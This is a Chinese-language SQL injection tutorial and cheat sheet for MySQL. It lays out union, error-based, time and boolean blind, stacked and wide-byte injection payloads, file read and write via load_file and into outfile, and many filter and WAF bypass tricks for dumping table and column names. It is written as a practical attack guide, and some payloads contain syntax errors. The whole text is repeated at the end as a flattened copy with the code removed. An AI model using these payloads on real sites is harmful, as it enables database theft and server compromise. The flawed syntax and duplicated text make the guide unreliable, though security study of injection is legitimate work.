SQL注入详解(主要针对MySQL)
字数 2860 2025-08-10 16:34:25

MySQL SQL注入全面指南

1. SQL注入基本概念

1.1 定义

SQL注入是一种代码注入技术,攻击者通过WEB页面请求或表单提交的形式,提交恶意的SQL语句,从而达到攻击数据库驱动的目的。

1.2 原理

攻击者通过构造特殊的SQL语句绕过认证机制,获取数据库数据或权限。本质上是因为后端程序错误地将用户恶意数据当作SQL代码执行。

1.3 注入条件

  1. 用户能够自定义数据
  2. WEB应用把用户输入的数据带到了数据库执行

1.4 危害

  1. 获取WEB页面数据
  2. 后台登录绕过
  3. 通过漏洞获取系统权限
  4. 读取文件信息

2. 数据库类型识别

2.1 特殊语句判断

  • SQL Server: select @@version
  • Oracle: select banner from v$versionselect banner from v$version where rownum=1
  • MySQL: select version()select @@version
  • PostgreSQL: select version()

2.2 默认端口判断

  • MySQL: 3306
  • Oracle: 1521
  • SQL Server: TCP 1433, UDP 1434
  • PostgreSQL: 5432

2.3 网站类型与数据库关联

  • ASP: SQL Server, Access
  • .NET: SQL Server
  • PHP: MySQL, PostgreSQL
  • Java: Oracle, MySQL

3. 常见注入点

  • GET参数
  • POST参数
  • Cookie
  • Referer头
  • X-Forward-For头
  • User-Agent头

: 一切与数据库交互的点都可能存在SQL注入

4. MySQL常用函数

4.1 信息获取函数

  • session_user(): 返回连接数据库的用户名和主机名
  • version(): 返回当前数据库版本
  • database(): 返回当前数据库名称
  • @@datadir: 数据库文件存放路径
  • @@basedir: 数据库安装路径
  • @@version_compile_os: 返回操作系统版本

4.2 字符串处理函数

  • concat(): 合并多行数据为一行
  • group_concat(): 合并一列或多列数据为字符串
  • ascii(): 将字符串转换为ASCII码
  • substr(字符串,1,1): 字符串截取(从0开始)
  • length(): 返回字符串长度

4.3 文件操作函数

  • load_file('路径'): 读取本地文件

    • 条件:
      1. 有file_priv权限
      2. 知道网站路径
      3. 当前MySQL用户有读取权限
      4. 能使用union联合查询
      5. 文件大小小于max_allow_packet(默认1023KB)
      6. magic_quotes_gpc=off(PHP5.4后移除)
      7. secure_file_priv设置为空
  • into outfile('路径'): 将数据写入文件

    • 条件:
      1. 有file_priv权限
      2. 知道网站绝对路径
      3. 能使用union
      4. 对WEB目录有写权限
  • into dumpfile(): 与outfile相似,但不保留格式,可输出二进制文件

4.4 其他函数

  • sleep(): 程序沉睡指定时间(秒)
  • if(语句1,语句2,语句3): 条件判断
  • benchmark(count,expr): 执行expr表达式count次

5. MySQL注入流程

5.1 查询当前数据库名

union select 1,database(),3 -- qw

(若-被过滤可使用%23代替)

5.2 查询数据库表名

union select 1,group_concat(0x7e,table_name,0x7e),3 from information_schema.tables where table_schema=database() -- qw

5.3 查询表中字段名

select 1,group_concat(0x7e,column_name,0x7e),3 from information_schema.columns where table_schema=database() and table_name='表名' -- qw

5.4 查询具体数据

select 1,字段名,3 from 表名

6. 注入方式

6.1 联合注入

使用union关键字,先使前方查询内容为空,后面跟上union select语句查询数据:

?id=-1' union select 1,2,3 -- qw

(需闭合id参数,在回显位读取数据)

6.2 报错注入

当查询无回显但有报错信息时使用:

?id=1 and updatexml(1,(select database()),1) -- qw

(将查询结果通过报错信息外带)

6.3 盲注

6.3.1 时间盲注

?id=1' and if(ascii((substr(select database(),0,1))=115),sleep(3),0) -- qw

(正确时程序会延时3秒)

6.3.2 布尔盲注

?id=1' and length(select database())=8 -- qw

(正确与错误页面有明显区别)

6.4 堆叠注入

?id=1'; create table test like users;

局限性:

  1. 受API或数据库引擎限制
  2. 权限不足时受影响
  3. 后端只返回一个查询结果时不显示
  4. 需要预先知道数据库信息

6.5 宽字节注入

原理: 服务端字符编码设为GBK(双字节编码),当前一个字节ASCII码>128时会被认为是汉字。当PHP使用转义函数时,在闭合符号前加%df可实现闭合符号逃逸。

条件:

  1. 数据库编码为GBK
  2. 使用转义函数(addslashes等)

6.6 Cookie注入

在Cookie位置尝试注入,通常使用报错注入方式

7. 过滤绕过技术

7.1 关键字过滤绕过

  1. 大小写双写绕过
  2. 插入字符<>/**/绕过,如sel/**/ect
  3. 将空格替换为注释符,如/**/union/**/select/**/
  4. 使用URL编码
  5. 使用替代符号,如and&&%26%26
  6. 在关键字前加%00

7.2 符号过滤绕过

7.2.1 过滤空格

  • 使用注释符或+替代,如union/**/select
  • 使用括号绕过,如select(ascii(substr(database(),0,1))>24)
  • 使用URL编码:%a0,%09,%0a,%0b,%0c,%0d,%00

7.2.2 过滤逗号

  • 使用join绕过:
union select 1,2,3  union select * from (select 1)a join (select 2)b join (select 3)c
  • 盲注时使用from for替代:
substr(database() from 1 for 1)
  • limit使用offset:
select * from users limit 1 offset 1

7.2.3 过滤等号

  • 使用like
select * from users where username like "%admin%"
  • 使用in
select * from users where username in "admin"
  • 使用between and
select username from users where id=1 and substr(username,1,1) between 'a' and 'b'
  • 使用大小于符号

7.2.4 过滤注释符

  • 结尾加and '1'='1闭合
  • 尝试-#-
  • 使用%23(#)

7.2.5 过滤引号

  • 使用16进制表示:
select username from users where table_name=0x61645F6C696E6B
  • 尝试宽字节注入

7.2.6 过滤大小于符号

  • 使用greatest,least函数
  • 使用strcmp(str1,str2)函数
  • 使用inbetween and

7.3 函数过滤绕过

  1. sleep()benchmark()
  2. ascii()hex(),bin()
  3. group_concatconcat_ws()

7.4 information_schema表被禁

使用替代表:

  • sys.schema_auto_increment_columns
  • sys.schema_table_statistics_with_buffer
  • mysql.innodb_table_stats
  • mysql.innodb_table_index

查询语句:

?id=-1' union select 1,2,group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()--+

7.5 无列名查询

使用join-using查列名:

  1. 获取第一列信息:
?id=-1' union select * from (select * from users as a join users as b) as c --+
  1. 获取第二列信息:
?id=-1' union select * from (select * from users as a join users as b using(id)) as c --+
  1. 获取第三列信息:
?id=-1' union select * from (select * from users as a join users as b using(id,username)) as c --+

原理: 多次连接相同列名会报错,报错信息中有重复列名;using()函数合并已知重复列,从而获取所有列名。

MySQL SQL注入全面指南 1. SQL注入基本概念 1.1 定义 SQL注入是一种代码注入技术,攻击者通过WEB页面请求或表单提交的形式,提交恶意的SQL语句,从而达到攻击数据库驱动的目的。 1.2 原理 攻击者通过构造特殊的SQL语句绕过认证机制,获取数据库数据或权限。本质上是因为后端程序错误地将用户恶意数据当作SQL代码执行。 1.3 注入条件 用户能够自定义数据 WEB应用把用户输入的数据带到了数据库执行 1.4 危害 获取WEB页面数据 后台登录绕过 通过漏洞获取系统权限 读取文件信息 2. 数据库类型识别 2.1 特殊语句判断 SQL Server : select @@version Oracle : select banner from v$version 或 select banner from v$version where rownum=1 MySQL : select version() 或 select @@version PostgreSQL : select version() 2.2 默认端口判断 MySQL: 3306 Oracle: 1521 SQL Server: TCP 1433, UDP 1434 PostgreSQL: 5432 2.3 网站类型与数据库关联 ASP: SQL Server, Access .NET: SQL Server PHP: MySQL, PostgreSQL Java: Oracle, MySQL 3. 常见注入点 GET参数 POST参数 Cookie Referer头 X-Forward-For头 User-Agent头 注 : 一切与数据库交互的点都可能存在SQL注入 4. MySQL常用函数 4.1 信息获取函数 session_user() : 返回连接数据库的用户名和主机名 version() : 返回当前数据库版本 database() : 返回当前数据库名称 @@datadir : 数据库文件存放路径 @@basedir : 数据库安装路径 @@version_compile_os : 返回操作系统版本 4.2 字符串处理函数 concat() : 合并多行数据为一行 group_concat() : 合并一列或多列数据为字符串 ascii() : 将字符串转换为ASCII码 substr(字符串,1,1) : 字符串截取(从0开始) length() : 返回字符串长度 4.3 文件操作函数 load_file('路径') : 读取本地文件 条件: 有file_ priv权限 知道网站路径 当前MySQL用户有读取权限 能使用union联合查询 文件大小小于max_ allow_ packet(默认1023KB) magic_ quotes_ gpc=off(PHP5.4后移除) secure_ file_ priv设置为空 into outfile('路径') : 将数据写入文件 条件: 有file_ priv权限 知道网站绝对路径 能使用union 对WEB目录有写权限 into dumpfile() : 与outfile相似,但不保留格式,可输出二进制文件 4.4 其他函数 sleep() : 程序沉睡指定时间(秒) if(语句1,语句2,语句3) : 条件判断 benchmark(count,expr) : 执行expr表达式count次 5. MySQL注入流程 5.1 查询当前数据库名 (若-被过滤可使用%23代替) 5.2 查询数据库表名 5.3 查询表中字段名 5.4 查询具体数据 6. 注入方式 6.1 联合注入 使用union关键字,先使前方查询内容为空,后面跟上union select语句查询数据: (需闭合id参数,在回显位读取数据) 6.2 报错注入 当查询无回显但有报错信息时使用: (将查询结果通过报错信息外带) 6.3 盲注 6.3.1 时间盲注 (正确时程序会延时3秒) 6.3.2 布尔盲注 (正确与错误页面有明显区别) 6.4 堆叠注入 局限性 : 受API或数据库引擎限制 权限不足时受影响 后端只返回一个查询结果时不显示 需要预先知道数据库信息 6.5 宽字节注入 原理 : 服务端字符编码设为GBK(双字节编码),当前一个字节ASCII码>128时会被认为是汉字。当PHP使用转义函数时,在闭合符号前加%df可实现闭合符号逃逸。 条件 : 数据库编码为GBK 使用转义函数(addslashes等) 6.6 Cookie注入 在Cookie位置尝试注入,通常使用报错注入方式 7. 过滤绕过技术 7.1 关键字过滤绕过 大小写双写绕过 插入字符 <> 或 /**/ 绕过,如 sel/**/ect 将空格替换为注释符,如 /**/union/**/select/**/ 使用URL编码 使用替代符号,如 and → && → %26%26 在关键字前加 %00 7.2 符号过滤绕过 7.2.1 过滤空格 使用注释符或 + 替代,如 union/**/select 使用括号绕过,如 select(ascii(substr(database(),0,1))>24) 使用URL编码: %a0 , %09 , %0a , %0b , %0c , %0d , %00 7.2.2 过滤逗号 使用join绕过: 盲注时使用 from for 替代: limit使用offset: 7.2.3 过滤等号 使用 like : 使用 in : 使用 between and : 使用大小于符号 7.2.4 过滤注释符 结尾加 and '1'='1 闭合 尝试 -#- 使用 %23 (#) 7.2.5 过滤引号 使用16进制表示: 尝试宽字节注入 7.2.6 过滤大小于符号 使用 greatest , least 函数 使用 strcmp(str1,str2) 函数 使用 in 和 between and 7.3 函数过滤绕过 sleep() → benchmark() ascii() → hex() , bin() group_concat → concat_ws() 7.4 information_ schema表被禁 使用替代表: sys.schema_auto_increment_columns sys.schema_table_statistics_with_buffer mysql.innodb_table_stats mysql.innodb_table_index 查询语句: 7.5 无列名查询 使用join-using查列名: 获取第一列信息: 获取第二列信息: 获取第三列信息: 原理 : 多次连接相同列名会报错,报错信息中有重复列名;using()函数合并已知重复列,从而获取所有列名。